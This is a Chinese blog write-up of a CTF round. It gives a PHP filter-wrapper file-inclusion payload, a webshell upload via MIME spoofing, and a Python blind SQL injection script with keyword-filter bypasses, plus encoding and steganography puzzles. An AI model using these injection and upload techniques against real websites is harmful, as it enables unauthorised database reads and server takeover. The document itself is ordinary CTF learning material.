当前位置:首页 » 《随便一记》 » 正文

?ctf web和misc方向writeup_baynk的博客

23 人参与  2022年02月18日 15:41  分类 : 《随便一记》  评论

点击全文阅读


0x00 前言

真滴不是不学习,而是时间精力太有限,或者这就是年龄的限制,每天的工作都围绕着大学生,看着他们,对于他们的时间和精力,无比羡慕,老了老了。。。

假前的最后一天,简单记录下某场预赛ctf的Web和Misc,整体还挺简单的。


0x01 Web

共三题,记录下。

web1

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

第一题php代码审计,简单,主要考量file_get_contentsphp伪协议的应用。只要$file2内容为hello ctf就可以包含$file1,从题目中可以看出flagflag.php中,存在于注释里面,同样需要使用伪协议来构造,得到payloadphp://filter/read=convert.base64-encode/resource=flag.php&file2=php://inputdatahello ctf
在这里插入图片描述
将拿到的base64解码就得到flag

web2

在这里插入图片描述
文件上传,挺简单的,改MIME后就可以上传成功php了,但是没显示路径,爆破了下目录和敏感文件,扫到了upload目录,直接菜刀连上去就看到了flag,不过这题,有股冲动去进行docker逃逸,然后拿到主机权限,这不是flag 随便拿了。。。

web3

在这里插入图片描述
一个注入题,刚刚试的时候空格是过滤了,还过滤了一些字符fuzz下。
在这里插入图片描述
ban了的还是有一些的,从过滤的关键字来看,联合查询肯定是不行了,报错也做了特殊处理,报错注入也排除,只能盲注了。这里有几个点麻烦,=,

这里使用布尔盲注,使用/*a*/代替空格,IN()代替=,测试得到数据库名长度为7
在这里插入图片描述
接着跑库名,过滤了substr,left等,不过还有mid(),但是,逗号也被过滤,使用from代替,最终结果得拿py

import requests
url = 'http://x.x.x.x/'
for j in range(1,8):
    for i in range(0, 128):
        data = {
            "class": "1/*a*/and/*a*/{}/*a*/IN(mid(database()/*a*/from/*a*/{}/*a*/for/*a*/1))".format(hex(i),j),
            "limit": "4"
        }
        html = requests.post(url,data)
        if '选修' in html.text:
            print('第{}个字符是{}'.format(j,chr(i)))
            break

最终结果库名是BABYSQL,在信息收集过程中,在源代码中发现提示
在这里插入图片描述
那就跑内容了,不过说起来,这库跑得也没啥意义。。。
"class": "1/*a*/and/*a*/{}/*a*/IN((select/*a*/length(flag)/*a*/from/*a*/flag))".format(i)得出flag长度为39
"class": "1/*a*/and/*a*/{}/*a*/IN(mid((select/*a*/flag/*a*/from/*a*/flag)/*a*/from/*a*/{}/*a*/for/*a*/1))".format(hex(i),j)得到flag
在这里插入图片描述


0x02 Misc

还有一个签到题, 打开就是,就不提了,其余3题都没任何提示。

Misc1

编码题

4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35

只有一串码,刚刚开始没有任何提示,大佬告诉了一个小技巧,总之你看字母部分是n到r,找一个编码让它对应到a到f就行了ROT13解密拿到

4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434F4B59474253464D5A444E4D51334557524B5A4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35

成了十进制了,解码后得到

KYYTIM2QPF2GWYZSNRAVS3CWGNJWYUTNKZMFCOKYGBSFMZDNMQ3EWRKZOBIDG5BUKYZDSK2NIVWFQU2FKI4VIVKFNNIECPJ5

再接着转base32,得到

V143Pytkc2lAYlV3SlRmVXQ9X0dVdmd6KEYpP3t4V29+MElXSER9TUEkPA==

这里把我坑了好久,看着像base64,转换后出现怎么都解不出来的密文
在这里插入图片描述
这里其实是先需要再转一次base85后再解码才能得到flag,蛋疼的是一般的解码网站还解不来,推荐一个工具BaseCrack,贼好用。
在这里插入图片描述
用这个神奇的混淆网站也可以https://gchq.github.io/
在这里插入图片描述

Misc

这题相对较简单,用stegsolve打开文件后,使用lsb进行查看,在最上面发现特殊编码
在这里插入图片描述

&#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;

解码后拿到flag
在这里插入图片描述

Misc3

这里也挺简单,工具使用可以直接拿到flag
在这里插入图片描述
打开就是flag了。


0x03 附件

附件下载:https://pan.baidu.com/s/1ZDr5ZJJzu36dFBhn1dPR-g 提取码: 35ts

做完就只有一个体会,不刷题打ctf真吃力,好想再回退到大学快毕业的时候,有时候选择比努力更重要。。。


点击全文阅读


本文链接:http://zhangshiyu.com/post/34944.html

解码  简单  过滤  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1